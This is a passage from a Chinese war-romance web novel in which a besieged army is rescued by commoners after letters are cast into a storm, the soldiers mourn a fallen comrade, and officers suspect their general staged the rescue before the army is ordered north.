霍乾念一次次深深弯腰,从包裹中拿信,又一次次直起身子振臂高挥。
他的神情平静而庄严,像极了拜天的大祭司。
他寄希望于暴风,用这种残忍又浪漫的方式,做最后的孤注一掷。
这近乎异想天开的法子能成吗?
真能与外界取得联系,得到救援吗?
除非有神仙相助,否则云琛想象不到,几千封信函扔进暴风,不是犹如一把蚂蚁撒进大海吗?
估计大部分信都会吹落在四周的敌军手里,被当作笑谈撕碎。
得多么幸运,才能有那么一两封信,成功穿越敌军万重封锁,不落进河里,不挂在树上,不掉进泥沼,恰好完完整整地落到一个楠国老百姓手中?
而且那人还得识字,不怕惹祸上身,得有一腔热血愿意伸出援助之手。
就算那人愿意,又该怎么将一个馒头、一根树枝送进来呢?
一个馒头,一根树枝,一个普普通通的老百姓,又有什么救狮威军的作用呢?
这希望实在渺茫,光是想想,云琛都觉得灰心至极。
可霍乾念却异常坚定,他长身伫立,坚挺如碑石。
狂风吹得铠甲簌簌发颤,他岿然不动,凝视着远方。
“无论任何时候,你都可以相信百姓,依靠百姓。这江山从来不姓‘南’,它姓‘民’。”
云琛浑身一震。
她仿佛看见一场更大的暴风正从霍乾念骨子里生出来,用力激荡洞穿她的心,席卷向整个天地。
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第323章 暴风救援
如果暴风是个无畏的少年,他会得意地笑。
告诉你,他是如何排除万难、不辞辛苦地吹啊吹,刮啊刮啊,将那带着狮威军最后希望的无数信函,送去四面八方。
楠国百姓们在田地里、在干涸的沟渠里、在寒霜冷硬的枝头上,在各种各样的地方捡到信。
打开来,这才知道狮威军如今被困到粮草绝无的惨烈消息。
没粮,没冬衣,没兵器,以血肉之躯死守了固英城一次又一次。
战死的将士最小不过十四岁。
凡读信之人,无不悲痛到泪流满面。
很快,人们奔走相告,互相传递这一惨绝人寰、急需救援的消息。
老百姓们迅速在民间组织起一支民兵义军,自发推举一名首领。
在义军及其首领的带领下,百姓们面色郑重,抱着大米、馒头、御寒的冬衣,三三两两,从四面八方奔向固英城。
在距离固英城最近的叛军沦陷区。
当站在叛军封锁严密的关卡前时,所有老百姓,竟无一人畏惧退缩。
有人带头想强行冲卡,立马被叛军打得头破血流,倒地不起。
然而这不仅没能吓住其他老百姓们,反而更激起人们的愤恨斗志。
义军开始全力进攻,硬生生将叛军的包围圈撕开一个小口。
百姓们抱着吃食和冬衣,不顾一切地横冲直撞,从中穿过,向固英城方向跑去。
当一个叛军向将领高俊杰报告此事时,他惊问:
“什么人如此大胆,竟敢冲我军关卡?是哪方军队?”
答曰:“是平民百姓而已,武器是锄头和木棒,怀里抱着花棉衣、烙饼什么的,男女老少都有,而且互相之间都不认识。将军,杀吗?”
将领高俊杰震在原地,久久不能回神,面上钦佩不已,良久才艰难道:
“杀。”
……
……
当狮威军的将士们还蜷缩在地上,绝望灰心地等着饿死冻死时。
一群素未谋面的百姓,正试图用自己的热血,扑灭敌军的嚣张气焰。
只可惜,敌军迅速开展严酷镇压。
抱着冬衣和烙饼冲卡的百姓们,才刚气喘吁吁奔跑而来,还未靠近固英城,便被叛军乱箭射死。
勉强撕开的包围圈豁口,很快再次被严密防补。
混乱镇压之中,数千平民无辜惨死,霎时激起楠国大地民愤燎原的怒火。
青壮年们纷纷投身义军,读书儿郎投笔从戎,老弱妇孺全民投入后勤战备,为狮威军征集粮草物资。
就连黄口小儿都加入队伍,帮着在大街小巷发传单,唱起童谣:
“黑龙威威向北游,游不出,洛疆雪,既知今日何必劝;
雄狮奋奋困东南,粮草尽,弓箭绝,男儿流泪又流血;
守得狮威在,不怕羊人来。
留的狮威焰,山河定复还。”
短短七日,义军队伍壮大到六万之多,开始向叛军连番发起进攻。
与此同时,义军中最精锐的一批汉子站出来,组成一支如暗夜魅影的神秘队伍,于最猛烈的暴风中出发,带着冬衣、大米、弓箭……
开始向固英城奔去!
因为叛军和黑鳞骑兵包围严密的关系,一切消息都被封锁,被困在固英城内的狮威军们并不知道这一切。
在暴风最激烈的夜晚,将士们紧紧靠在一起,深深将头埋进彼此的肩膀,试图抵御刺骨的寒风。
烈烈风中,有人在说:
“好冷……我可能抗不过今夜了……”
“我也是……我想回家,我想吃我娘烙的饼……”
“没吃的,给床被子也行,脚快冻得没知觉了……”
“我可能已经快死了……我感觉有厚厚的被子落在我身上,还挺暖和……这是临死前的幻觉吗?”
停顿了片刻,那产生“幻觉”的将士摸摸身上又厚又结实的棉被,愣住:
“好像不是幻觉……真的是棉被……真的是棉被?!操!看天上!下棉被雨了!!”
其他将士们纷纷寻声抬头,全都先愣住,而后用力揉揉眼睛,接着手舞足蹈地狂欢呐喊。
只见黑夜之中,无数黑色“大鸟”乘暴风而来,扑闪着巨大的翅膀,从固英城上方急速飞过,抛下一袋袋捆扎严密的包裹。
几个将士冲过去拆开包裹,里面是普通百姓家最常见的粗布棉衣。
但此刻对于已经冻僵快死的将士们来说,简直是比黄金还珍贵的东西。
无数粮草物资如大雨倾盆,纷纷落下。
有大米,有烙饼,有冬衣,有棉被……
将士们冲天欢呼,声音竟比暴风还响。
“感谢上苍!!天不亡我狮威军啊!”一个将士跪地大喊,喜极而泣。
另一个将士踹他一脚,指着天上不断飞过的大鸟,骂道:
“感谢屁的老天爷!你眼睛放亮点!那翅膀中间是个人!是有人在救我们!”
众人都仔细去看,果然从两个漆黑的翅膀中间看见一个人形,还有一张皮肤色的脸。
不知何人有这样卓绝的本事,竟异想天开如有神力,造出一双双御天飞行的“翅膀”。
众将士狂欢着朝天大喊:
“谢谢兄弟——谢谢——”
然而好景不长。
义军的夜行飞翼借暴风飞行,向固英城空投粮草之事,很快被敌军知晓,并以最快的速度向天空射出箭雨,发起拦截。
第二夜,当夜行飞翼再次乘暴风飞过时,落在众将士怀里的,已不只粮草和武器。
还有热血如冰雨,洒在众人的头顶。
摸着头上那陌生兄弟为自己落下的鲜血,狮威军们发出愤怒的吼声。
人心一旦振奋,便没有什么可以阻挡。
穿着百姓们捐来的冬衣,咬着早已凉透的带着故乡味道的烙饼,将士们重振旗鼓,向城外的黑鳞骑兵疯狂冲去。
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第324章 花蕊
在暴风最猛烈的时候,义军的夜行飞翼送来足以救命的粮草和武器;
在暴风停歇的时候,狮威军冲出固英城,抱着决一死战的信念,向黑鳞骑兵发起猛烈的进攻。
对于黑鳞骑兵来说,见惯了手下败将,人肉军粮,也偶尔能见到像狮威军这样极难挫败的对手。
但是,他们从没见过一支军队能滑稽、荒诞又凶悍到这种地步。
狮威军的将士们穿着各式各样、颜色不一的铠甲,大多数人连军装都没有,穿着百姓家中最常见的大花棉袄。
有的裤腿短一截,有的袖子长得像水袖,乍看过去,简直像一群游街表演的戏子。
但当看清他们眼中如饿狼一般的无畏凶光,那饿得皮包骨头却高扬战刀的样子,简直如厉鬼异形时,黑鳞骑兵顿觉遍体生寒。
酣战两天一夜,黑鳞骑兵被打得退了又退,连忙拔营后撤。
这一次,狮威军没有去追,因为实在没力气了。
那点空投的粮草和心里憋着的一口恶气,让狮威军坚持了两天一夜。
现在斗志耗尽,只能急急回固英城休整。
如今,城中迎接将士们的不再是冷雪单衣。
整座固英城都被各式各样的包裹塞满。
满地都是空投来的物资。
将士们根本没心思追黑鳞骑兵,全都忙着收敛粮食、冬衣和武器。
堆成小山的包裹中,大部分都制式相同,看样子是义军接收民间捐赠之后,统一进行装点的。
也有些包裹颜色不同、大小不一,上面捆扎着带有姓名的布条,指名要给军中某个将士。
这都是没有通过义军,而是直接找到夜行飞翼,以重金雇佣飞翼投来的。
但若说金贵,包裹里也不过是最寻常的吃食和贴身衣物,比其他包裹多出来的,唯有一封封温情家书。
收到包裹的将士拿着家书,翻看着衣物上熟悉的针线,忍不住偷偷抹眼泪,而后便要被其他人哄笑一番,厚着脸皮讨些吃的才罢休。
叶峮也收到好几个包裹,不仅包裹巨大,还用最显眼的黄色布条写着“吾夫叶峮亲启,爱妻胡可卿”。
打开包裹,里面满满当当装了薄厚不一的七八套冬衣。
甚至还有一套崭新的霍帮亲卫服制,十几捆胡氏亲手做的酥饼。
这情形实在羡煞旁人,不言和几个相熟的将士们凑过来打趣:
“呦呦呦——‘吾夫’‘爱妻’——酸死啦——”
“为啥要亲启?咋的,怕我们抢叶峮哥裤衩子穿?”
“哈哈哈哈——”
叶峮被众人臊得大红脸,一边驱赶几人,一边将酥饼塞给不言:
“去去去,拿去分了,别来烦我——”
不言几个哄笑着去抢酥饼,叶峮忙着继续收拾东西,满脸都是掩饰不住的甜蜜,口中却嘴硬地“抱怨”道:
“女人就是多事!让她在京都待着,非要回烟城!离战区离我这么近,不危险吗?这包裹整的,一两金运送一两银的东西,败家!”
不言将酥饼塞得满嘴,舌头简直分不开身说话:
“差不多得了啊!再说我想揍人了!欺负我没成婚,没人疼是吧!”
叶峮咧嘴“嘿嘿”一笑,紧紧捧着包裹,往帐子跑去。
经过主帐的时候,叶峮瞧见霍乾念和云琛也在收包裹。
一个个捆扎严密又精致的包裹里,全是霍帮堂口和京都寄来的东西,甚至还有苏家寄来。
云琛挑挑拣拣,从一个大包裹里翻出整整八斤的红糖砖,在手中掂量了一下,感叹道:
“云望寄的这个好,不仅能吃喝,杀人也挺趁手。”
再拆开苏家寄来的:是一件黑得发亮、油光水滑的貂皮大氅,一看就齁贵的。
“苏正阳,啧……”她砸吧下嘴,“他该不会以为我喜欢墨墨,喜欢貂,是看上它们的皮吧?不管了,拿去给雪地里埋伏放哨的将士正合适。”
说罢她又拆开一个大红色的包裹,不用问都知道,是山寂寄来的。
她从里面哗啦啦倒出一大堆暗器和无义血卫的疗伤秘药,在那挨个查看。
叶峮眼睛都看直了,惊奇问:
“阿琛,你手里拿的是不是‘七魄丹’?无义血卫最厉害的疗伤续命秘药?听说三年练一颗!”
云琛打开一瓶,倒出一把红色丹药,对着阳光去看,果然在黄豆大小的丹药上看见“七魄”二字。
“应该是。咋了,这个很有名?”
叶峮啧啧称奇,“从前调查无义血卫的时候听说过,他们独门秘药‘七魄丹’有补血疗伤奇效,可令人无痛无惧,重伤流血不死。只是这丹药得来不易,听说是历代掌门秘制的,三年才得一颗,从不轻易示人。”
一听这丹药如此珍贵,云琛心里一暖,赶紧将手里的一把小心翼翼装回瓶子,扣上封塞,而后抛给叶峮一瓶。
“老规矩,兄弟同享!”
叶峮下意识扔掉手里所有东西,惊叫着接住瓶子,“别扔别扔!这么金贵的东西!慢着点!”
这章没有结束,请点击下一页继续阅读!云琛又从包裹里拿出六瓶晃了晃,冲叶峮笑道:
“还有五瓶半,咱五个一人一瓶。”
“好!”叶峮高兴地应了一声,然后立马反应过来,云琛说的“五个人”,是习惯性地指霍乾念,云琛,叶峮,花绝,还有不言。
想到如今“五个人”已变成“四个人”,叶峮的笑意慢慢退去。
他本不想叫云琛看出来,却见她脸上也没了笑容,正沉默地看着手里的丹药瓶。
二人遥遥对视一眼,心照不宣地什么都没说,却有相同的血刺从二人心口疼痛穿过。
霍乾念自然看得出一切,他停下手中事务,走过去扶住云琛的肩膀。
她抬头望着霍乾念,又不像是在看霍乾念。些许模糊中,她好像又看见那张傲娇又孩子气的脸。
对于刀光剑影里穿梭的护卫们来说,除了兵器,就是疗伤的药最紧俏。
从前每逢有绝好的伤药时,几个亲卫总要争抢打闹一番才消停。
但真到了需要疗伤的时候,又是谁都舍不得吃,非得喂到对方嘴里才肯。
若花绝还在,见到这样好的续命丹药,不知道该有多高兴。
云琛抬起袖子擦了下眼睛,勉强笑道:
“多出来一瓶半,叫荣江、荣易和罗东东分了吧,也算正好。”
说话间,一队负责清点和运送包裹的队伍走过去,一名法算官拿着账册登记包裹,自言自语道:
“烟城来的包裹?谁叫‘花蕊’?”
花绝的花,蕊娘的蕊。
因为消息封锁的缘故,那个卖梨糖的姑娘还不知道爱人已去,至今还等着她的少年郎。
那长长的小巷路口,梨糖铺子前挤满了买梨糖的客人,纷纷抱怨着,催促着。
铺子后面,戴围裙的姑娘朝客人们甜甜一笑,表示歉意,接着继续手里忙活不停,将熬了几夜做的冬衣和两包梨糖收装起来,递给来取包裹的驿官。
驿官道:“这包裹得署名,不然送不到对方手里,会当作普通物资分掉。”
卖梨糖的姑娘脸一红,赶忙取下樱桃红的发带,系在包裹上,写下“花”字。
“这姓氏少见,送不错。但你不署名吗?”驿官又问。
犹豫了一下,樱桃红的发带上又添了个“蕊”字,总算圆满。
另一边,排了半天队伍的客人等得着急,忍不住叫道:
“蕊娘!先给我装二两梨糖吧!你的小相公跑不了,过两天打完仗就来娶你啦!”
“哈哈……”排队的客人们都笑起来。
如蕊娘所愿,包裹真的顺利抵达固英城。
只可惜,花绝永远也收不到那甜甜的心意了。
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第325章 都会过去
整整收了一天的包裹,直到快傍晚的时候,营地才略略收拾出空地。
霍乾念和云琛拿着包裹向山坡顶走,远远看见花绝的坟前有篝火,走近一瞧,原来是叶峮在烧一套崭新的霍帮亲卫服制。
叶峮用袖子抹了把脸,“少主,阿琛,你们来了。”
云琛还未应声,就听身后又有一人爬上来。
“呦呵,人还挺齐?”不言笑着将一大坛酒放在花绝坟前。
众人没有事先约定,此刻却都齐聚在花绝坟前。
在固英城得到物资救援后,每个人都没有忘记给花绝带一点。
霍乾念和云琛将蕊娘寄来的大包裹拆开,将里面的东西一件件摆在花绝坟前。
叶峮把衣物挑拣出来,放进火堆里烧掉,一边拿木棍子扒拉,一边念叨:
“臭小子,天冷了,穿好点。”
不言也在一旁忙活着烧衣服,见蕊娘寄来的都是外衣和鞋子,他道:
“你媳妇儿咋没给你做裤衩子?没事,我还有两件没穿过的,回头烧给你。别人有的,咱小花花也得有。缺啥了给我托梦,但提前说好,不许吓唬我啊,否则等我下去,跟你没完!”
不言这话说得平常又随意,就好像花绝站在他面前似的。
几人都被惹得笑起来,笑着笑着,却又慢慢停下,陷入一种更加寂寞的苦涩。
云琛将那枚樱桃红的剑穗放进火堆,火势一下烧得很旺,发出噼啪爆裂的细碎声响。
火苗带着轻烟扑向云琛的面庞,呛得她连连咳嗽。
她下意识想要后退,却被不言一把扶住后背,止住了步子。
不言笑中带着泪:
“没刮风。是那臭小子高兴呢,他好久没抱过你了。”
无风而烟动,不催而火苗盛旺。
见不言喉头不停滚动,明明在偷偷吞咽泪水,脸上却还要摆出个无事笑容的样子,云琛眼眶发红。
望着那燃烧旺盛的火堆,她轻声说:
“花绝哥,照顾好自己。”
话音落下,眼泪也跟着一块儿落。
霍乾念将她搂进怀里,轻拍她的肩膀安慰。
“该怎么跟蕊娘说呢……”叶峮轻声叹气。
云琛想起花绝诀别时候说过的话,如果他**,就告诉蕊娘他变心了。
她把这话说出来,众人一阵沉默。
叶峮道:“别了吧,我觉得蕊娘会伤心死的。”
不言直摇头,说话带着鼻音:
“这不是骗人吗?要说‘变心’,怎么告诉蕊娘?写信告诉她?想过没,周围乡里乡亲七大姑八大姨的,都会怎么说蕊娘?说她是别人不要的?叫她以后还怎么说亲呢?本来干的就是抛头露面的生计,以后还不得被人指指点点戳弯脊梁骨?”
叶峮重重叹口气,“要不,先瞒上一阵?过个三两年再说?”
“还是直接说花绝牺牲了吧,这样的消息传回去,蕊娘也算半个‘英烈遗孀’,没人敢欺负的。”不言说完,众人又是一阵沉默。
要说花绝牺牲了,就必须要说他是怎么牺牲的。
没人能
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将那惨烈说得出口。
不言抱起酒坛子咕咚咕咚喝了好几口,酒色将他的眼睛染得通红。
他咬牙切齿地骂道:
“**焦左泰,畜生不如的东西,老子早晚弄死他!等再上战场,老子什么也不干,就杀他!”
“不着急。”叶峮说:“犯不着现在就为那畜生搭上性命,等杀光黑鳞骑兵,最后再杀他!老子要活捉他!然后把刑法上一百八十种酷刑都给那畜生‘享用’一遍!”
作为霍帮大亲卫,叶峮向来最沉稳、顾大局,从来都是为众人定心的那一个,甚少有如此激进的时候。
没有人说,但谁都明白,花绝是叶峮成为亲卫之后的第一个伙伴。
他与花绝朝夕相处的日子,只怕比跟自己夫人都要更多些。
空气又是一阵许久的沉默。
云琛道:“就说他变心了吧。”
霍乾念也同意:“我代笔写信。”
叶峮和不言没有反驳,只是沉默地望着墓碑,沉默地望着那两包梨糖。
到这里,云琛突然就懂了,花绝为什么会将遗言交代给她。
花绝那世家公子调教出来的性子,即使做护卫,也是知礼避嫌的,怎么不留话叫叶峮和不言带去,而是说给她。
因为花绝知道,这么多大男人里,只有云琛能懂他。
只有一个姑娘,才最知道怎么让另一个姑娘好过。
“就说变心了吧。蕊娘恨也好,伤心也罢,但都会过去。可若人没了,只怕蕊娘一辈子都过不去了。”
第326章 救驾勤王
坟前的篝火逐渐熄灭,叶峮和不言先后离开。
霍乾念说还想再坐坐,叫云琛也回去休息。
走出去很长的距离,云琛回头望去,霍乾念正从怀里掏出一卷大红色的东西摊开,认真地看着上面的字,嘴巴一张一合,极其郑重地念着。
她眯眼瞧了瞧那大红色的东西,好像是一张军中将士晋级时会用到的封赏令。
与将军获封会收到一封明黄色的东宫令或诏书不同,将士们晋级,都是用大红色的信布。
所谓封赏,往往都是一篇辞藻堆砌、废话连篇的文字,最要紧的不过末尾一句“晋封谁谁谁为几级士官”。
但封赏即荣耀,将士们收到这种封赏令后,往往爱不释手,有人甚至将其当作护身符随身佩戴。
她不知道霍乾念在对着花绝念什么,封了花绝什么,又表了花绝什么功。
从那独坐坟前的高大、却微微弯曲的背影,她只看出一种难以言说的悲伤与痛苦。
她静**在山脚下,守着不让任何人靠近山坡。
她想,就让那个传说中战无不胜的大将军哭一场吧。
为花绝也好,为狮威军也罢,为黯淡渺茫的前途,抑或是为随时会夺走生命的灾祸。
此时此刻,就让他暂时不做世人眼中神一样的人物,不做狮威军的主心骨,只做一回霍宸的表哥吧。
过了很久。
直到夜幕降临,霍乾念才脚步迟缓地从山坡下来。
云琛想要上前迎一迎他,荣江的身影却比她更快,突然从远处急急跑来,兔子一样窜过她身边,冲到霍乾念面前,激动道:
“将军!义军接连大胜!从叛军防线突围出一条路!命死士送来信函!请将军亲观!”
不知多久没有和外界取得过书信联系了,而且还是义军拼死送来的重要消息,霍乾念与云琛赶紧回到指挥所,命荣江立刻召集所有亲信与干将议事。
待云琛、叶峮、不言,荣江和荣易,以及罗东东到齐的时候,霍乾念已在里屋看完信。
所有人都在外间屋子里翘首以待,等着会有什么新鲜的好消息,却见霍乾念脚步沉重地从里屋走出来,脸上竟是前所未有的沉痛与黯淡。
一见霍乾念这神情,所有人顿觉不妙。
云琛更是没由来地起了一脖子鸡皮疙瘩,轻声问:
“怎么了?信上说什么?”
叶峮打量霍乾念手里攥着的信,封皮很普通,但内里装的信纸却是宫中才有的样式,“少主,是宫里来的信吗?”
所有人都被这话吸引地看过去,仔细打量霍乾念手中的信纸。
隔着烛火照射,一个个漆黑的字影犹如淤泥,斑斑沾染在霍乾念修长白净的手指上。
霍乾念“嗯”了一声,像是费了很大力气才能抬起手,将信递给云琛。
云琛接过信,只看了几行,便脸色倏然煞白,差点不能站稳。
她这一剧烈反应,更叫其他人心里七上八下的,全都紧张起来。
“都看看吧,看完就收拾营地,准备出发。”霍乾念咽下喉头血,红着眼睛这样说。
云琛颤抖着手将信递给叶峮,而后叶峮又递给不言,不言递给荣江......
一圈下来,所有人都看了一遍,罗东东最后一个接过信。
他早急得肠子都快焦了,一边抓过信,一边在众人脸上打量一遍,好奇道:
“瞧你们一个个都跟蔫豆角似的,这信上到底写了啥?”
罗东东急切地朝信纸上看去,接着瞬间瞪大眼睛,失声惊叫:
“四十万北伐军……全军覆没?!”
没有人说话,只有人捂着脸低低地抽泣起来。
罗东东手抖得几乎拿不住信,急切地想要从其他人脸上得到一个“否定”的答案,可惜全是一双双通红落泪的眼睛。
火盆颓颓燃烧着,火苗越来越小,似乎将要被冰冷吞噬。
罗东东满脸泪痕,嘴唇震颤着,目光慌乱地朝信下文看去。
后面都是宫中百官分析的局势之言。
信末尾还有一行字,看得出云望监国的艰难,也令罗东东更加锥心刺痛:
“丞相与百官议定:公主失踪,久寻不回,急望狮威军北上,救驾勤王……”
罗东东瘫坐在地上,再一个字都张不开口。
旁边的荣江搀扶了罗东东一把,随后苦笑:
“看信上的意思,是要我们和义军内外呼应,即刻突围叛军防线,北上去救公主。朝廷已无兵无将,没人能来增援我们,也没人能去勤王救驾,就连信都是托义军送进来的。早知道是这样一封信,唉......”
“那固英城咋办??”罗东东打断荣江的话,声音都有点变形:
“不!是整个东南咋办?俺们说撤军就撤军!东南的老百姓咋办??”
荣易忍着没有掉眼泪,铁青着脸,在地上啐了口唾沫,骂道:
“什么狗屁命令?!”
不顾荣江着急阻拦,荣易直接敞开了骂:
“如今我们被包围,全因东宫执意调兵北上!害得中部沦陷,叛军才与黑鳞骑兵里应外合,差点将我们困死在这!现在我们好不容易才缓过来了,靠着东南老百姓捐赠的粮食衣物,靠着义军一边牵制叛军,一边用活靶子一样的夜行飞翼来空投!才让我们有饭吃有冬衣穿!可这会却要我们前脚受恩,后脚就将恩人抛弃?!东宫就是这样治理天下的?!”
“别胡说!”荣江吓得跳起来,赶紧去捂荣易的嘴,紧张地
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查看霍乾念和云琛的脸色,荣易却已经怒火上头,根本不管不顾,一把推开荣江,继续大骂:
“上一次,多艰难才将黑鳞骑兵打退到边境!眼看就要对敌最后一击,东宫却非要将两位将军调回京都述职!整整耽搁半年!给了黑鳞骑兵喘息之机!
现在,义军、百姓!所有人豁出命来援助我们,就是盼着我们重振旗鼓,将**打出楠国!现在却又要我们放弃!为了救一个任性的东宫储君!**四十万不够!还要逼着我们将整个东南拱手让给**祸害吗?!”
荣易最后一句几乎是吼出来的,荣江根本阻拦不住。
若换做从前,敢当众说这种大逆不道之言,等着荣易的必然是死罪一条,还要株连九族。
可眼下,众人才刚吃了没几顿饱饭,才从濒死中捡回一条命,已无人有精力去在乎什么皇权威严。
更何况,荣易只是说出了所有人的心声。
见众人都低头沉默,没人出来呼应自己,荣易用近乎哀求的语气冲着云琛:
“老大!你说句话啊!要北上吗?要把固英城还有整个东南的老百姓,都扔下不管吗?你让丞相收回成命好不好?”
罗东东也祈求地看着她,喊了声“老大!”
云琛何尝不知北上意味着什么,荣易一字一句都像刀子一样,扎在所有人的心头。
可这命令是由百官决定,既非云望一人能左右,更是别无选择的办法。
在所有狮威军将士们的心里,东南的老百姓们,早已远比那草包“东宫”重要。
可对于楠国这个庞大的国家来说,南璃君却是维系一切平衡,象征楠国不亡的希望。
沉默良久,云琛道:
“北上吧。”
原本罗东东几人都还抱着最后一丝希望,期待云琛能改变些什么,此刻却只有彻彻底底的颓丧。
这时,一直没有开口过的不言和叶峮商量几句,低声问:
“北上的话......那......能把花绝一起带走吗?别留他一个人在这,别让焦左泰那畜生再碰他。”
这话一出,原本还愤愤不平的罗东**然就安静了,只是耷拉着肩膀坐在那里。
云琛和叶峮他们,连至亲兄弟被残忍杀害的仇都不报了,连这口气都要硬生生咽下去,旁人还有什么资格指责?
只有被愤怒冲昏了头脑的荣易吼道:
“我们能带走花绝兄弟,那剩下那么多老百姓呢?带不带?带几个?!”
此话一出,屋子里仿佛凝固了。
见霍乾念已面色黑沉,荣江赶紧站出来打圆场,为霍乾念斟茶赔罪。
荣易扫视众人,气得胸口剧烈起伏,却没再多说,咬咬牙,扭头冲出了屋子。
第327章 你信吗?
出了屋子,荣易黑着脸,完全看不见一路上跟他打招呼的熟人。
他一头扎进马厩,抓过水中龙开始刷洗。
水中龙发愣,瞧这寒冬腊月的,谁家好人用水刷马啊?直接一蹄子踹翻水桶,豁了荣易一裤子水。
“狗小六!你个混家伙!”荣易气得大骂,赶忙拍打裤子上的水。
棉裤吸水极快,眨眼功夫已渗透,冻得他打了个寒战。
这时,一条厚重的毛毯落在荣易头上,荣江走过来,故作板脸:
“本事大了你!敢给两位将军甩脸子摔门?还来欺负狗小六?有本事出去杀两个黑鳞骑兵撒气!”
荣易还在气头上,一把拽过毛毯扔在地上,扭头就要往城外冲。
荣江“嘿嘿”贼笑,“你前脚去,后脚我就揭发你私出城门,不削你职级才怪!”
“别给我来这套!”荣易气得大叫,冲过去和荣江扭打在一起。
兄弟俩“互殴”了半天,直到所有火气都撒完,两人才顶着一头草饲料停手,并且收到旁边水中龙一个鄙视的“白眼”。
荣易累得气喘吁吁,爬进毛毯里,将自己裹得严严实实,长叹一口气。
“哥,我不忍心啊……怎么丢下东南的老百姓啊……怎么丢啊……”
荣江凝神许久,没有直接回答荣易的问题,而是突兀地说起另一件事:
“之前断粮那阵,有几个猪油蒙心的小子,饿极了,上百姓家里偷粮食,甚至偷孩子的事,你记得不?”
荣易不知道荣江为什么会提起这茬,“怎能不记得?几个畜生饿得不当人,什么都想吃,你带队抓的人,霍将军亲自将几人斩首。这么大的事,全军都记得。”
荣江点点头,像是犹豫了一下该不该继续对荣易说。
这点犹豫被荣易看得分明,自然不肯放过。
两人打小就一起挨打闯祸,为了保护荣易,荣江甚至犯错更少,挨打更多,两人之间从无隐瞒和秘密。
荣易一把薅住荣江脖子,“快说!什么事还瞒着我?!”
“也没有什么。”荣江甚至都不用嘱咐荣易保守秘密,只一个复杂的眼神,荣易便停止了打闹。
荣江捡起一根草杆放在嘴里嚼,满口都是酸涩味道,继续说:
“那时候,正赶上霍将军雷霆怒火,有一件事我便瞒了下来,没有上报。我带队在城里抓人的那天,其实还在小学堂抓到了三个浑小子,他们也是饿极了去偷东西的,不过偷的不是粮食和孩子,只是小学堂里写字的糯米草纸。”
“糯米草纸?”荣易觉得那仨人挺天才,竟能想到吃这玩意填肚子,确实比观音土要好吃得多。
荣江接着说:“固英城连年战火,当年重建战区的时候,人人都只顾着建堡垒、粮仓、地窖,只有霍将军提出来,说固英城虽然孩子不多,但也不可马虎,误了孩子们的前途,坚持要建小学堂。
很快,小学堂建起来了,孩子们在里面读书**字,百姓们别提多感激霍将军了。只是这次开战以来,因为北伐军拿走大部分粮草供应的关系,咱们这物资少得可怜,粮食都进不来,更别说糯米草纸。
那天我在城里带队搜查的时候,那仨浑小子正在学堂仓库里,没命地吃糯米草纸,那草纸本就没剩多少,几乎被那仨浑小子吃得干干净净。
我本想上报此事,但正赶上霍将军严惩偷盗的火头,我担心那仨浑小子被轻罪重罚,再加上那天人员分散,只有我一个人发现这件事。抵不过那仨苦苦哀求,我一时心软,便没有上报,将这事严严实实地瞒了下来。”
荣易知道自己哥哥的脾性,从来都是个心软的。
只怕就算没有那仨浑小子求情,荣江也会放他们一马,毕竟他们饿极了也没想着偷粮偷孩子,只是偷草纸。
事情听得明白,但荣易不懂荣江为什么突然说这些,却见荣江突然目光沉沉,直视着他,道:
“全城只有小学堂里那么点草纸,还被仨浑小子吃光了。那么你说,霍将军那几千封暴风救援的信,那草纸都是哪里来的呢?”
荣易愣住,像是完全不能——也不敢反应过来这个问题。
那几千张糯米草纸上,一字字苍劲有力又干枯绝望,如泣如诉地讲述着狮威军的悲壮绝境,深深撼动楠国百姓的心。
寄全军最后的希望于暴风,将信念系在老百姓的身上,多么浪漫勇敢,多么伟大传奇。
荣江艰难开口:“几千张糯米草纸,会不会是提前就备好的?如果是,那么眼下一切局面,也都是提前——”
“够了!别说了!”荣易猛地站起身,打断荣江的话。
他不敢再听下去,整张脸都变得惨白。
荣江深深地看着荣易,“我也不敢想。我不停地对自己说,也许只是巧合而已,恰巧有百姓家里囤了许多糯米草纸,恰巧被征用了;再也许是叶峮预备事务做的好,那草纸......”
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>荣江说不下去了,这理由他自己都觉得牵强。
可他又实在想不通,霍乾念为什么能未卜先知,提前备好几千张草纸,早早地为一场华丽祈天的大戏做好准备。
荣江的眉头深深拧在一起,“还有,方才所有人传阅信的时候,我摸了一下,信的厚度不对。”
荣易也跟着皱起眉头:“什么意思?”
荣江叹息,“今日这信,是我亲自从义军信使手里接过,又送到霍将军手里的,那会儿我摸到是挺厚的一封,可刚才传阅的时候却又没那么厚了。
而且方才我给霍将军递茶的时候,注意到他手指侧面有很小的、几乎看不见的灰色痕迹。这说明义军送来的不止是东宫信,还有别的内容,但被霍将军看完以后烧掉了。”
荣江说完,荣易已惊愣得不能言语。
他明白荣江的意思,却又不敢细想。
东宫信不会假,可随着东宫信一起来的还有什么?
是义军的密信吗?
霍乾念像是与义军首领早就认识?私底下有联系?
可明明狮威军被困是意外,暴风是天象,义军是老百姓们自发组织的,首领是义军们一票一票推举出来,又不是钦定的!
霍乾念应当与义军首领连面都没见过啊!
如果荣江说的是真的,那究竟有什么,是霍乾念不能让众人知道的呢?
似乎有点后悔对荣易说了这些,荣江安慰地拍拍他的肩膀。
“所以说,不论是草纸,还是北上,亦或是北伐军覆没……每一件事都由不得我们,要么皇权定,要么天定,你我除了听命,别无办法……还有,我刚说的这些,真假未定,非同小可,切记除你我之外,不要让第三个人知道。”
荣易肩膀发僵,“哥,有没有可能,这些都是你胡猜的,猜错了......”
“当然有可能,世上之事谁人能观其所有?”荣江苦笑,“但你认真想一想,义军有正规军都没有的夜行飞翼,那玩意儿精密复杂,是三两日能制造出来的?就算能,没有十年八年训练,能顺利执行空投吗?”
荣江越说越感到害怕,不敢再往深揣测,他皱眉纠结地看向荣易,最后问了一句:
“说真的,借暴风送出救援信?是不是太梦幻了些?你真的信吗?”
沉默很久,荣易才白着一张毫无血色的脸,声音极没有底气,却努力装作坚定:
“我信。只要老大信,我就信!”
第328章 北上
人们可以接受向前战死的英魂,但决不能接受后退的幸存。
一日时间,全军整顿拔营,清点完毕。
从昭国带出来的三十万狮威军,经此劫难,已只存余不到十九万人。
十万匹屠苏战马,唯剩两万余匹。
为了不引起恐慌,霍乾念命将士们挨家挨户地告知狮威军将撤退的消息,请百姓们自行决定去留。
如有想随狮威军一起撤出东南者,可跟随狮威军一同行军,军中不得驱赶,需得加以照拂。
可百姓不比将士们惯于听命,反应迅速,人们根本无暇考虑要不要离开故土的举家大事。
只见到前一日还对黑鳞骑兵勇猛冲杀的将士们,今日却如同丧家之犬,突然纷纷夹着尾巴要逃走?
百思不得其解之余,百姓们更多的是迷茫与恐惧。
